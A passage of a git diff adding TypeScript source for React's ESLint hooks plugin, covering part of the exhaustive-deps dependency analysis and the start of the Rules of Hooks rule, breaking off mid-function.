+          // We'll do our best effort to find it, complain otherwise.
+          const variable = getScope(callback).set.get(callback.name);
+          if (variable == null || variable.defs == null) {
+            // If it's not in scope, we don't care.
+            return; // Handled
+          }
+          // The function passed as a callback is not written inline.
+          // But it's defined somewhere in the render scope.
+          // We'll do our best effort to find and check it, complain otherwise.
+          const def = variable.defs[0];
+          if (!def || !def.node) {
+            break; // Unhandled
+          }
+          if (def.type === 'Parameter') {
+            reportProblem({
+              node: reactiveHook,
+              message: getUnknownDependenciesMessage(reactiveHookName),
+            });
+            return;
+          }
+          if (def.type !== 'Variable' && def.type !== 'FunctionName') {
+            // Parameter or an unusual pattern. Bail out.
+            break; // Unhandled
+          }
+          switch (def.node.type) {
+            case 'FunctionDeclaration':
+              // useEffect(() => { ... }, []);
+              visitFunctionWithDependencies(
+                def.node,
+                declaredDependenciesNode,
+                reactiveHook,
+                reactiveHookName,
+                isEffect,
+                isAutoDepsHook,
+              );
+              return; // Handled
+            case 'VariableDeclarator':
+              const init = def.node.init;
+              if (!init) {
+                break; // Unhandled
+              }
+              switch (init.type) {
+                // const effectBody = () => {...};
+                // useEffect(effectBody, []);
+                case 'ArrowFunctionExpression':
+                case 'FunctionExpression':
+                  // We can inspect this function as if it were inline.
+                  visitFunctionWithDependencies(
+                    init,
+                    declaredDependenciesNode,
+                    reactiveHook,
+                    reactiveHookName,
+                    isEffect,
+                    isAutoDepsHook,
+                  );
+                  return; // Handled
+              }
+              break; // Unhandled
+          }
+          break; // Unhandled
+        default:
+          // useEffect(generateEffectBody(), []);
+          reportProblem({
+            node: reactiveHook,
+            message: getUnknownDependenciesMessage(reactiveHookName),
+          });
+          return; // Handled
+      }
+
+      // Something unusual. Fall back to suggesting to add the body itself as a dep.
+      reportProblem({
+        node: reactiveHook,
+        message:
+          `React Hook ${reactiveHookName} has a missing dependency: '${callback.name}'. ` +
+          `Either include it or remove the dependency array.`,
+        suggest: [
+          {
+            desc: `Update the dependencies array to be: [${callback.name}]`,
+            fix(fixer) {
+              return fixer.replaceText(
+                declaredDependenciesNode,
+                `[${callback.name}]`,
+              );
+            },
+          },
+        ],
+      });
+    }
+
+    return {
+      CallExpression: visitCallExpression,
+    };
+  },
+} satisfies Rule.RuleModule;
+
+// The meat of the logic.
+function collectRecommendations({
+  dependencies,
+  declaredDependencies,
+  stableDependencies,
+  externalDependencies,
+  isEffect,
+}: {
+  dependencies: Map<string, Dependency>;
+  declaredDependencies: Array<DeclaredDependency>;
+  stableDependencies: Set<string>;
+  externalDependencies: Set<string>;
+  isEffect: boolean;
+}) {
+  // Our primary data structure.
+  // It is a logical representation of property chains:
+  // `props` -> `props.foo` -> `props.foo.bar` -> `props.foo.bar.baz`
+  //         -> `props.lol`
+  //         -> `props.huh` -> `props.huh.okay`
+  //         -> `props.wow`
+  // We'll use it to mark nodes that are *used* by the programmer,
+  // and the nodes that were *declared* as deps. Then we will
+  // traverse it to learn which deps are missing or unnecessary.
+  const depTree = createDepTree();
+  function createDepTree(): DependencyTreeNode {
+    return {
+      isUsed: false, // True if used in code
+      isSatisfiedRecursively: false, // True if specified in deps
+      isSubtreeUsed: false, // True if something deeper is used by code
+      children: new Map(), // Nodes for properties
+    };
+  }
+
+  // Mark all required nodes first.
+  // Imagine exclamation marks next to each used deep property.
+  dependencies.forEach((_, key) => {
+    const node = getOrCreateNodeByPath(depTree, key);
+    node.isUsed = true;
+    markAllParentsByPath(depTree, key, parent => {
+      parent.isSubtreeUsed = true;
+    });
+  });
+
+  // Mark all satisfied nodes.
+  // Imagine checkmarks next to each declared dependency.
+  declaredDependencies.forEach(({key}) => {
+    const node = getOrCreateNodeByPath(depTree, key);
+    node.isSatisfiedRecursively = true;
+  });
+  stableDependencies.forEach(key => {
+    const node = getOrCreateNodeByPath(depTree, key);
+    node.isSatisfiedRecursively = true;
+  });
+
+  // Tree manipulation helpers.
+  function getOrCreateNodeByPath(
+    rootNode: DependencyTreeNode,
+    path: string,
+  ): DependencyTreeNode {
+    const keys = path.split('.');
+    let node = rootNode;
+    for (const key of keys) {
+      let child = node.children.get(key);
+      if (!child) {
+        child = createDepTree();
+        node.children.set(key, child);
+      }
+      node = child;
+    }
+    return node;
+  }
+  function markAllParentsByPath(
+    rootNode: DependencyTreeNode,
+    path: string,
+    fn: (node: DependencyTreeNode) => void,
+  ): void {
+    const keys = path.split('.');
+    let node = rootNode;
+    for (const key of keys) {
+      const child = node.children.get(key);
+      if (!child) {
+        return;
+      }
+      fn(child);
+      node = child;
+    }
+  }
+
+  // Now we can learn which dependencies are missing or necessary.
+  const missingDependencies = new Set<string>();
+  const satisfyingDependencies = new Set<string>();
+  scanTreeRecursively(
+    depTree,
+    missingDependencies,
+    satisfyingDependencies,
+    key => key,
+  );
+  function scanTreeRecursively(
+    node: DependencyTreeNode,
+    missingPaths: Set<string>,
+    satisfyingPaths: Set<string>,
+    keyToPath: (key: string) => string,
+  ): void {
+    node.children.forEach((child, key) => {
+      const path = keyToPath(key);
+      if (child.isSatisfiedRecursively) {
+        if (child.isSubtreeUsed) {
+          // Remember this dep actually satisfied something.
+          satisfyingPaths.add(path);
+        }
+        // It doesn't matter if there's something deeper.
+        // It would be transitively satisfied since we assume immutability.
+        // `props.foo` is enough if you read `props.foo.id`.
+        return;
+      }
+      if (child.isUsed) {
+        // Remember that no declared deps satisfied this node.
+        missingPaths.add(path);
+        // If we got here, nothing in its subtree was satisfied.
+        // No need to search further.
+        return;
+      }
+      scanTreeRecursively(
+        child,
+        missingPaths,
+        satisfyingPaths,
+        childKey => path + '.' + childKey,
+      );
+    });
+  }
+
+  // Collect suggestions in the order they were originally specified.
+  const suggestedDependencies: Array<string> = [];
+  const unnecessaryDependencies = new Set<string>();
+  const duplicateDependencies = new Set<string>();
+  declaredDependencies.forEach(({key}) => {
+    // Does this declared dep satisfy a real need?
+    if (satisfyingDependencies.has(key)) {
+      if (suggestedDependencies.indexOf(key) === -1) {
+        // Good one.
+        suggestedDependencies.push(key);
+      } else {
+        // Duplicate.
+        duplicateDependencies.add(key);
+      }
+    } else {
+      if (
+        isEffect &&
+        !key.endsWith('.current') &&
+        !externalDependencies.has(key)
+      ) {
+        // Effects are allowed extra "unnecessary" deps.
+        // Such as resetting scroll when ID changes.
+        // Consider them legit.
+        // The exception is ref.current which is always wrong.
+        if (suggestedDependencies.indexOf(key) === -1) {
+          suggestedDependencies.push(key);
+        }
+      } else {
+        // It's definitely not needed.
+        unnecessaryDependencies.add(key);
+      }
+    }
+  });
+
+  // Then add the missing ones at the end.
+  missingDependencies.forEach(key => {
+    suggestedDependencies.push(key);
+  });
+
+  return {
+    suggestedDependencies,
+    unnecessaryDependencies,
+    duplicateDependencies,
+    missingDependencies,
+  };
+}
+
+// If the node will result in constructing a referentially unique value, return
+// its human readable type name, else return null.
+function getConstructionExpressionType(node: Node): string | null {
+  switch (node.type) {
+    case 'ObjectExpression':
+      return 'object';
+    case 'ArrayExpression':
+      return 'array';
+    case 'ArrowFunctionExpression':
+    case 'FunctionExpression':
+      return 'function';
+    case 'ClassExpression':
+      return 'class';
+    case 'ConditionalExpression':
+      if (
+        getConstructionExpressionType(node.consequent) != null ||
+        getConstructionExpressionType(node.alternate) != null
+      ) {
+        return 'conditional';
+      }
+      return null;
+    case 'LogicalExpression':
+      if (
+        getConstructionExpressionType(node.left) != null ||
+        getConstructionExpressionType(node.right) != null
+      ) {
+        return 'logical expression';
+      }
+      return null;
+    case 'JSXFragment':
+      return 'JSX fragment';
+    case 'JSXElement':
+      return 'JSX element';
+    case 'AssignmentExpression':
+      if (getConstructionExpressionType(node.right) != null) {
+        return 'assignment expression';
+      }
+      return null;
+    case 'NewExpression':
+      return 'object construction';
+    case 'Literal':
+      if (node.value instanceof RegExp) {
+        return 'regular expression';
+      }
+      return null;
+    case 'TypeCastExpression':
+    case 'AsExpression':
+    case 'TSAsExpression':
+      return getConstructionExpressionType(node.expression);
+  }
+  return null;
+}
+
+// Finds variables declared as dependencies
+// that would invalidate on every render.
+function scanForConstructions({
+  declaredDependencies,
+  declaredDependenciesNode,
+  componentScope,
+  scope,
+}: {
+  declaredDependencies: Array<DeclaredDependency>;
+  declaredDependenciesNode: Node;
+  componentScope: Scope.Scope;
+  scope: Scope.Scope;
+}) {
+  const constructions = declaredDependencies
+    .map(({key}) => {
+      const ref = componentScope.variables.find(v => v.name === key);
+      if (ref == null) {
+        return null;
+      }
+
+      const node = ref.defs[0];
+      if (node == null) {
+        return null;
+      }
+      // const handleChange = function () {}
+      // const handleChange = () => {}
+      // const foo = {}
+      // const foo = []
+      // etc.
+      if (
+        node.type === 'Variable' &&
+        node.node.type === 'VariableDeclarator' &&
+        node.node.id.type === 'Identifier' && // Ensure this is not destructed assignment
+        node.node.init != null
+      ) {
+        const constantExpressionType = getConstructionExpressionType(
+          node.node.init,
+        );
+        if (constantExpressionType) {
+          return [ref, constantExpressionType];
+        }
+      }
+      // function handleChange() {}
+      if (
+        node.type === 'FunctionName' &&
+        node.node.type === 'FunctionDeclaration'
+      ) {
+        return [ref, 'function'];
+      }
+
+      // class Foo {}
+      if (node.type === 'ClassName' && node.node.type === 'ClassDeclaration') {
+        return [ref, 'class'];
+      }
+      return null;
+    })
+    .filter(Boolean) as Array<[Scope.Variable, string]>;
+
+  function isUsedOutsideOfHook(ref: Scope.Variable): boolean {
+    let foundWriteExpr = false;
+    for (const reference of ref.references) {
+      if (reference.writeExpr) {
+        if (foundWriteExpr) {
+          // Two writes to the same function.
+          return true;
+        } else {
+          // Ignore first write as it's not usage.
+          foundWriteExpr = true;
+          continue;
+        }
+      }
+      let currentScope: Scope.Scope | null = reference.from;
+      while (currentScope !== scope && currentScope != null) {
+        currentScope = currentScope.upper;
+      }
+      if (currentScope !== scope) {
+        // This reference is outside the Hook callback.
+        // It can only be legit if it's the deps array.
+        if (!isAncestorNodeOf(declaredDependenciesNode, reference.identifier)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+
+  return constructions.map(([ref, depType]) => ({
+    construction: ref.defs[0] as Scope.Definition,
+    depType,
+    isUsedOutsideOfHook: isUsedOutsideOfHook(ref),
+  }));
+}
+
+/**
+ * Assuming () means the passed/returned node:
+ * (props) => (props)
+ * props.(foo) => (props.foo)
+ * props.foo.(bar) => (props).foo.bar
+ * props.foo.bar.(baz) => (props).foo.bar.baz
+ */
+function getDependency(node: Node): Node {
+  if (
+    node.parent &&
+    (node.parent.type === 'MemberExpression' ||
+      node.parent.type === 'OptionalMemberExpression') &&
+    node.parent.object === node &&
+    'name' in node.parent.property &&
+    node.parent.property.name !== 'current' &&
+    !node.parent.computed &&
+    !(
+      node.parent.parent != null &&
+      (node.parent.parent.type === 'CallExpression' ||
+        node.parent.parent.type === 'OptionalCallExpression') &&
+      node.parent.parent.callee === node.parent
+    )
+  ) {
+    return getDependency(node.parent);
+  } else if (
+    // Note: we don't check OptionalMemberExpression because it can't be LHS.
+    node.type === 'MemberExpression' &&
+    node.parent &&
+    node.parent.type === 'AssignmentExpression' &&
+    node.parent.left === node
+  ) {
+    return node.object;
+  } else {
+    return node;
+  }
+}
+
+/**
+ * Mark a node as either optional or required.
+ * Note: If the node argument is an OptionalMemberExpression, it doesn't necessarily mean it is optional.
+ * It just means there is an optional member somewhere inside.
+ * This particular node might still represent a required member, so check .optional field.
+ */
+function markNode(
+  node: Node,
+  optionalChains: Map<string, boolean> | null,
+  result: string,
+): void {
+  if (optionalChains) {
+    if ('optional' in node && node.optional) {
+      // We only want to consider it optional if *all* usages were optional.
+      if (!optionalChains.has(result)) {
+        // Mark as (maybe) optional. If there's a required usage, this will be overridden.
+        optionalChains.set(result, true);
+      }
+    } else {
+      // Mark as required.
+      optionalChains.set(result, false);
+    }
+  }
+}
+
+/**
+ * Assuming () means the passed node.
+ * (foo) -> 'foo'
+ * foo(.)bar -> 'foo.bar'
+ * foo.bar(.)baz -> 'foo.bar.baz'
+ * Otherwise throw.
+ */
+function analyzePropertyChain(
+  node: Node,
+  optionalChains: Map<string, boolean> | null,
+): string {
+  if (node.type === 'Identifier' || node.type === 'JSXIdentifier') {
+    const result = node.name;
+    if (optionalChains) {
+      // Mark as required.
+      optionalChains.set(result, false);
+    }
+    return result;
+  } else if (node.type === 'MemberExpression' && !node.computed) {
+    const object = analyzePropertyChain(node.object, optionalChains);
+    const property = analyzePropertyChain(node.property, null);
+    const result = `${object}.${property}`;
+    markNode(node, optionalChains, result);
+    return result;
+  } else if (node.type === 'OptionalMemberExpression' && !node.computed) {
+    const object = analyzePropertyChain(node.object, optionalChains);
+    const property = analyzePropertyChain(node.property, null);
+    const result = `${object}.${property}`;
+    markNode(node, optionalChains, result);
+    return result;
+  } else if (
+    node.type === 'ChainExpression' &&
+    (!('computed' in node) || !node.computed)
+  ) {
+    const expression = node.expression;
+
+    if (expression.type === 'CallExpression') {
+      throw new Error(`Unsupported node type: ${expression.type}`);
+    }
+
+    const object = analyzePropertyChain(expression.object, optionalChains);
+    const property = analyzePropertyChain(expression.property, null);
+    const result = `${object}.${property}`;
+    markNode(expression, optionalChains, result);
+    return result;
+  } else {
+    throw new Error(`Unsupported node type: ${node.type}`);
+  }
+}
+
+function getNodeWithoutReactNamespace(
+  node: Expression | Super,
+): Expression | Identifier | Super {
+  if (
+    node.type === 'MemberExpression' &&
+    node.object.type === 'Identifier' &&
+    node.object.name === 'React' &&
+    node.property.type === 'Identifier' &&
+    !node.computed
+  ) {
+    return node.property;
+  }
+  return node;
+}
+
+// What's the index of callback that needs to be analyzed for a given Hook?
+// -1 if it's not a Hook we care about (e.g. useState).
+// 0 for useEffect/useMemo/useCallback(fn).
+// 1 for useImperativeHandle(ref, fn).
+// For additionally configured Hooks, assume that they're like useEffect (0).
+function getReactiveHookCallbackIndex(
+  calleeNode: Expression | Super,
+  options?: {
+    additionalHooks: RegExp | undefined;
+    enableDangerousAutofixThisMayCauseInfiniteLoops?: boolean;
+  },
+): 0 | -1 | 1 {
+  const node = getNodeWithoutReactNamespace(calleeNode);
+  if (node.type !== 'Identifier') {
+    return -1;
+  }
+  switch (node.name) {
+    case 'useEffect':
+    case 'useLayoutEffect':
+    case 'useCallback':
+    case 'useMemo':
+      // useEffect(fn)
+      return 0;
+    case 'useImperativeHandle':
+      // useImperativeHandle(ref, fn)
+      return 1;
+    default:
+      if (node === calleeNode && options && options.additionalHooks) {
+        // Allow the user to provide a regular expression which enables the lint to
+        // target custom reactive hooks.
+        let name;
+        try {
+          name = analyzePropertyChain(node, null);
+        } catch (error: unknown) {
+          if (
+            error instanceof Error &&
+            /Unsupported node type/.test(error.message)
+          ) {
+            return 0;
+          } else {
+            throw error;
+          }
+        }
+        return options.additionalHooks.test(name) ? 0 : -1;
+      } else {
+        return -1;
+      }
+  }
+}
+
+/**
+ * ESLint won't assign node.parent to references from context.getScope()
+ *
+ * So instead we search for the node from an ancestor assigning node.parent
+ * as we go. This mutates the AST.
+ *
+ * This traversal is:
+ * - optimized by only searching nodes with a range surrounding our target node
+ * - agnostic to AST node types, it looks for `{ type: string, ... }`
+ */
+function fastFindReferenceWithParent(start: Node, target: Node): Node | null {
+  const queue = [start];
+  let item: Node;
+
+  while (queue.length) {
+    item = queue.shift() as Node;
+
+    if (isSameIdentifier(item, target)) {
+      return item;
+    }
+
+    if (!isAncestorNodeOf(item, target)) {
+      continue;
+    }
+
+    for (const [key, value] of Object.entries(item)) {
+      if (key === 'parent') {
+        continue;
+      }
+      if (isNodeLike(value)) {
+        value.parent = item;
+        queue.push(value);
+      } else if (Array.isArray(value)) {
+        value.forEach(val => {
+          if (isNodeLike(val)) {
+            val.parent = item;
+            queue.push(val);
+          }
+        });
+      }
+    }
+  }
+
+  return null;
+}
+
+function joinEnglish(arr: Array<string>): string {
+  let s = '';
+  for (let i = 0; i < arr.length; i++) {
+    s += arr[i];
+    if (i === 0 && arr.length === 2) {
+      s += ' and ';
+    } else if (i === arr.length - 2 && arr.length > 2) {
+      s += ', and ';
+    } else if (i < arr.length - 1) {
+      s += ', ';
+    }
+  }
+  return s;
+}
+
+function isNodeLike(val: unknown): boolean {
+  return (
+    typeof val === 'object' &&
+    val !== null &&
+    !Array.isArray(val) &&
+    'type' in val &&
+    typeof val.type === 'string'
+  );
+}
+
+function isSameIdentifier(a: Node, b: Node): boolean {
+  return (
+    (a.type === 'Identifier' || a.type === 'JSXIdentifier') &&
+    a.type === b.type &&
+    a.name === b.name &&
+    !!a.range &&
+    !!b.range &&
+    a.range[0] === b.range[0] &&
+    a.range[1] === b.range[1]
+  );
+}
+
+function isAncestorNodeOf(a: Node, b: Node): boolean {
+  return (
+    !!a.range &&
+    !!b.range &&
+    a.range[0] <= b.range[0] &&
+    a.range[1] >= b.range[1]
+  );
+}
+
+function isUseEffectEventIdentifier(node: Node): boolean {
+  return node.type === 'Identifier' && node.name === 'useEffectEvent';
+}
+
+function getUnknownDependenciesMessage(reactiveHookName: string): string {
+  return (
+    `React Hook ${reactiveHookName} received a function whose dependencies ` +
+    `are unknown. Pass an inline function instead.`
+  );
+}
+
+export default rule;
diff --git a/packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts b/packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts
new file mode 100644
index 000000000000..ca82c99e2f55
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts
@@ -0,0 +1,934 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+/* eslint-disable no-for-of-loops/no-for-of-loops */
+
+import type {Rule, Scope} from 'eslint';
+import type {
+  CallExpression,
+  CatchClause,
+  DoWhileStatement,
+  Expression,
+  Identifier,
+  Node,
+  Super,
+  TryStatement,
+} from 'estree';
+
+// @ts-expect-error untyped module
+import CodePathAnalyzer from '../code-path-analysis/code-path-analyzer';
+import {getAdditionalEffectHooksFromSettings} from '../shared/Utils';
+
+/**
+ * Catch all identifiers that begin with "use" followed by an uppercase Latin
+ * character to exclude identifiers like "user".
+ */
+function isHookName(s: string): boolean {
+  return s === 'use' || /^use[A-Z0-9]/.test(s);
+}
+
+/**
+ * We consider hooks to be a hook name identifier or a member expression
+ * containing a hook name.
+ */
+function isHook(node: Node): boolean {
+  if (node.type === 'Identifier') {
+    return isHookName(node.name);
+  } else if (
+    node.type === 'MemberExpression' &&
+    !node.computed &&
+    isHook(node.property)
+  ) {
+    const obj = node.object;
+    const isPascalCaseNameSpace = /^[A-Z].*/;
+    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);
+  } else {
+    return false;
+  }
+}
+
+/**
+ * Checks if the node is a React component name. React component names must
+ * always start with an uppercase letter.
+ */
+function isComponentName(node: Node): boolean {
+  return node.type === 'Identifier' && /^[A-Z]/.test(node.name);
+}
+
+function isReactFunction(node: Node, functionName: string): boolean {
+  return (
+    ('name' in node && node.name === functionName) ||
+    (node.type === 'MemberExpression' &&
+      'name' in node.object &&
+      node.object.name === 'React' &&
+      'name' in node.property &&
+      node.property.name === functionName)
+  );
+}
+
+/**
+ * Checks if the node is a callback argument of forwardRef. This render function
+ * should follow the rules of hooks.
+ */
+function isForwardRefCallback(node: Node): boolean {
+  return !!(
+    node.parent &&
+    'callee' in node.parent &&
+    node.parent.callee &&
+    isReactFunction(node.parent.callee, 'forwardRef')
+  );
+}
+
+/**
+ * Checks if the node is a callback argument of React.memo. This anonymous
+ * functional component should follow the rules of hooks.
+ */
+function isMemoCallback(node: Node): boolean {
+  return !!(
+    node.parent &&
+    'callee' in node.parent &&
+    node.parent.callee &&
+    isReactFunction(node.parent.callee, 'memo')
+  );
+}
+
+function isInsideComponentOrHook(node: Node | undefined): boolean {
+  while (node) {
+    const functionName = getFunctionName(node);
+    if (functionName) {
+      if (isComponentName(functionName) || isHook(functionName)) {
+        return true;
+      }
+    }
+    if (isForwardRefCallback(node) || isMemoCallback(node)) {
+      return true;
+    }
+    node = node.parent;
+  }
+  return false;
+}
+
+function isInsideDoWhileLoop(node: Node | undefined): node is DoWhileStatement {
+  while (node) {
+    if (node.type === 'DoWhileStatement') {
+      return true;
+    }
+    node = node.parent;
+  }
+  return false;
+}
+
+function isInsideTryCatch(
+  node: Node | undefined,
+): node is TryStatement | CatchClause {
+  while (node) {
+    if (node.type === 'TryStatement' || node.type === 'CatchClause') {
+      return true;
+    }
+    node = node.parent;
+  }
+  return false;
+}
+
+function getNodeWithoutReactNamespace(
+  node: Expression | Super,
+): Expression | Identifier | Super {
+  if (
+    node.type === 'MemberExpression' &&
+    node.object.type === 'Identifier' &&
+    node.object.name === 'React' &&
+    node.property.type === 'Identifier' &&
+    !node.computed
+  ) {
+    return node.property;
+  }
+  return node;
+}
+
+function isEffectIdentifier(node: Node, additionalHooks?: RegExp): boolean {
+  const isBuiltInEffect =
+    node.type === 'Identifier' &&
+    (node.name === 'useEffect' ||
+      node.name === 'useLayoutEffect' ||
+      node.name === 'useInsertionEffect');
+
+  if (isBuiltInEffect) {
+    return true;
+  }
+
+  // Check if this matches additional hooks configured by the user
+  if (additionalHooks && node.type === 'Identifier') {
+    return additionalHooks.test(node.name);
+  }
+
+  return false;
+}
+
+function isUseEffectEventIdentifier(node: Node): boolean {
+  return node.type === 'Identifier' && node.name === 'useEffectEvent';
+}
+
+function useEffectEventError(fn: string | null, called: boolean): string {
+  // no function identifier, i.e. it is not assigned to a variable
+  if (fn === null) {
+    return (
+      `React Hook "useEffectEvent" can only be called at the top level of your component.` +
+      ` It cannot be passed down.`
+    );
+  }
+
+  return (
+    `\`${fn}\` is a function created with React Hook "useEffectEvent", and can only be called from ` +
+    'Effects and Effect Events in the same component.' +
+    (called ? '' : ' It cannot be assigned to a variable or passed down.')
+  );
+}
+
+function isUseIdentifier(node: Node): boolean {
+  return isReactFunction(node, 'use');
+}
+
+const rule = {
+  meta: {
+    type: 'problem',
+    docs: {
+      description: 'enforces the Rules of Hooks',
+      recommended: true,
+      url: 'https://react.dev/reference/rules/rules-of-hooks',
+    },
+    schema: [
+      {
+        type: 'object',
+        additionalProperties: false,
+        properties: {
+          additionalHooks: {
+            type: 'string',
+          },
+        },
+      },
+    ],
+  },
+  create(context: Rule.RuleContext) {
+    const settings = context.settings || {};
+
+    const additionalEffectHooks =
+      getAdditionalEffectHooksFromSettings(settings);
+
+    let lastEffect: CallExpression | null = null;
+    const codePathReactHooksMapStack: Array<
+      Map<Rule.CodePathSegment, Array<Node>>
+    > = [];
+    const codePathSegmentStack: Array<Rule.CodePathSegment> = [];
+    const useEffectEventFunctions = new WeakSet();
+
+    // For a given scope, iterate through the references and add all useEffectEvent definitions. We can
+    // do this in non-Program nodes because we can rely on the assumption that useEffectEvent functions
+    // can only be declared within a component or hook at its top level.
+    function recordAllUseEffectEventFunctions(scope: Scope.Scope): void {
+      for (const reference of scope.references) {
+        const parent = reference.identifier.parent;
+        if (
+          parent?.type === 'VariableDeclarator' &&
+          parent.init &&
+          parent.init.type === 'CallExpression' &&
+          parent.init.callee &&
+          isUseEffectEventIdentifier(parent.init.callee)
+        ) {
+          if (reference.resolved === null) {
+            throw new Error('Unexpected null reference.resolved');
+          }
+          for (const ref of reference.resolved.references) {
+            if (ref !== reference) {
+              useEffectEventFunctions.add(ref.identifier);
+            }
+          }
+        }
+      }
+    }
+
+    /**
+     * SourceCode that also works down to ESLint 3.0.0
+     */
+    const getSourceCode =
+      typeof context.getSourceCode === 'function'
+        ? () => {
+            return context.getSourceCode();
+          }
+        : () => {
+            return context.sourceCode;
+          };
+    /**
+     * SourceCode#getScope that also works down to ESLint 3.0.0
+     */
+    const getScope =
+      typeof context.getScope === 'function'
+        ? (): Scope.Scope => {
+            return context.getScope();
+          }
+        : (node: Node): Scope.Scope => {
+            return getSourceCode().getScope(node);
+          };
+
+    function hasFlowSuppression(node: Node, suppression: string) {
+      const sourceCode = getSourceCode();
+      const comments = sourceCode.getAllComments();
+      const flowSuppressionRegex = new RegExp(
+        '\\$FlowFixMe\\[' + suppression + '\\]',
+      );
+      return comments.some(
+        commentNode =>
+          flowSuppressionRegex.test(commentNode.value) &&
+          commentNode.loc != null &&
+          node.loc != null &&
+          commentNode.loc.end.line === node.loc.start.line - 1,
+      );
+    }
+
+    const analyzer = new CodePathAnalyzer({
+      // Maintain code segment path stack as we traverse.
+      onCodePathSegmentStart: (segment: Rule.CodePathSegment) =>
+        codePathSegmentStack.push(segment),
+      onCodePathSegmentEnd: () => codePathSegmentStack.pop(),
+
+      // Maintain code path stack as we traverse.
+      onCodePathStart: () =>
+        codePathReactHooksMapStack.push(
+          new Map<Rule.CodePathSegment, Array<Node>>(),
+        ),
+
+      // Process our code path.
+      //
+      // Everything is ok if all React Hooks are both reachable from the initial
+      // segment and reachable from every final segment.
+      onCodePathEnd(codePath: any, codePathNode: Node) {
+        const reactHooksMap = codePathReactHooksMapStack.pop();
+        if (reactHooksMap?.size === 0) {
+          return;
+        } else if (typeof reactHooksMap === 'undefined') {
+          throw new Error('Unexpected undefined reactHooksMap');
+        }
+
+        // All of the segments which are cyclic are recorded in this set.
+        const cyclic = new Set();
+
+        /**
+         * Count the number of code paths from the start of the function to this
+         * segment. For example:
+         *
+         * ```js
+         * function MyComponent() {
+         *   if (condition) {
+         *     // Segment 1
+         *   } else {
+         *     // Segment 2
+         *   }
+         *   // Segment 3
+         * }
+         * ```
+         *
+         * Segments 1 and 2 have one path to the beginning of `MyComponent` and
+         * segment 3 has two paths to the beginning of `MyComponent` since we
+         * could have either taken the path of segment 1 or segment 2.
+         *
+         * Populates `cyclic` with cyclic segments.
+         */
+        function countPathsFromStart(
+          segment: Rule.CodePathSegment,
+          pathHistory?: Set<string>,
+        ): bigint {
+          const {cache} = countPathsFromStart;
+          let paths = cache.get(segment.id);
+          const pathList = new Set<string>(pathHistory);
+
+          // If `pathList` includes the current segment then we've found a cycle!
+          // We need to fill `cyclic` with all segments inside cycle
+          if (pathList.has(segment.id)) {
+            const pathArray = [...pathList];
+            const cyclicSegments = pathArray.slice(
+              pathArray.indexOf(segment.id) + 1,
+            );
+            for (const cyclicSegment of cyclicSegments) {
+              cyclic.add(cyclicSegment);
+            }
+
+            return BigInt('0');
+          }
+
+          // add the current segment to pathList
+          pathList.add(segment.id);
+
+          // We have a cached `paths`. Return it.
+          if (paths !== undefined) {
+            return paths;
+          }
+
+          if (codePath.thrownSegments.includes(segment)) {
+            paths = BigInt('0');
+          } else if (segment.prevSegments.length === 0) {
+            paths = BigInt('1');
+          } else {
+            paths = BigInt('0');
+            for (const prevSegment of segment.prevSegments) {
+              paths += countPathsFromStart(prevSegment, pathList);
+            }
+          }
+
+          // If our segment is reachable then there should be at least one path
+          // to it from the start of our code path.
+          if (segment.reachable && paths === BigInt('0')) {
+            cache.delete(segment.id);
+          } else {
+            cache.set(segment.id, paths);
+          }
+
+          return paths;
+        }
+
+        /**
+         * Count the number of code paths from this segment to the end of the
+         * function. For example:
+         *
+         * ```js
+         * function MyComponent() {
+         *   // Segment 1
+         *   if (condition) {
+         *     // Segment 2
+         *   } else {
+         *     // Segment 3
+         *   }
+         * }
+         * ```
+         *
+         * Segments 2 and 3 have one path to the end of `MyComponent` and
+         * segment 1 has two paths to the end of `MyComponent` since we could
+         * either take the path of segment 1 or segment 2.
+         *
+         * Populates `cyclic` with cyclic segments.
+         */
+
+        function countPathsToEnd(
+          segment: Rule.CodePathSegment,
+          pathHistory?: Set<string>,
+        ): bigint {
+          const {cache} = countPathsToEnd;
+          let paths = cache.get(segment.id);
+          const pathList = new Set(pathHistory);
+
+          // If `pathList` includes the current segment then we've found a cycle!
+          // We need to fill `cyclic` with all segments inside cycle
+          if (pathList.has(segment.id)) {
+            const pathArray = Array.from(pathList);
+            const cyclicSegments = pathArray.slice(
+              pathArray.indexOf(segment.id) + 1,
+            );
+            for (const cyclicSegment of cyclicSegments) {
+              cyclic.add(cyclicSegment);
+            }
+
+            return BigInt('0');
+          }
+
+          // add the current segment to pathList
+          pathList.add(segment.id);
+
+          // We have a cached `paths`. Return it.
+          if (paths !== undefined) {
+            return paths;
+          }
+
+          if (codePath.thrownSegments.includes(segment)) {
+            paths = BigInt('0');
+          } else if (segment.nextSegments.length === 0) {
+            paths = BigInt('1');
+          } else {
+            paths = BigInt('0');
+            for (const nextSegment of segment.nextSegments) {
+              paths += countPathsToEnd(nextSegment, pathList);
+            }
+          }
+
+          cache.set(segment.id, paths);
+          return paths;
+        }
+
+        /**
+         * Gets the shortest path length to the start of a code path.
+         * For example:
+         *
+         * ```js
+         * function MyComponent() {
+         *   if (condition) {
+         *     // Segment 1
+         *   }
+         *   // Segment 2
+         * }
+         * ```
+         *
+         * There is only one path from segment 1 to the code path start. Its
+         * length is one so that is the shortest path.
+         *
+         * There are two paths from segment 2 to the code path start. One
+         * through segment 1 with a length of two and another directly to the
+         * start with a length of one. The shortest path has a length of one
+         * so we would return that.
+         */
+
+        function shortestPathLengthToStart(
+          segment: Rule.CodePathSegment,
+        ): number {
+          const {cache} = shortestPathLengthToStart;
+          let length = cache.get(segment.id);
+
+          // If `length` is null then we found a cycle! Return infinity since
+          // the shortest path is definitely not the one where we looped.
+          if (length === null) {
+            return Infinity;
+          }
+
+          // We have a cached `length`. Return it.
+          if (length !== undefined) {
+            return length;
+          }
+
+          // Compute `length` and cache it. Guarding against cycles.
+          cache.set(segment.id, null);
+          if (segment.prevSegments.length === 0) {
+            length = 1;
+          } else {
+            length = Infinity;
+            for (const prevSegment of segment.prevSegments) {
+              const prevLength = shortestPathLengthToStart(prevSegment);
+              if (prevLength < length) {
+                length = prevLength;
+              }
+            }
+            length += 1;
+          }
+          cache.set(segment.id, length);
+          return length;
+        }
+
+        countPathsFromStart.cache = new Map<string, bigint>();
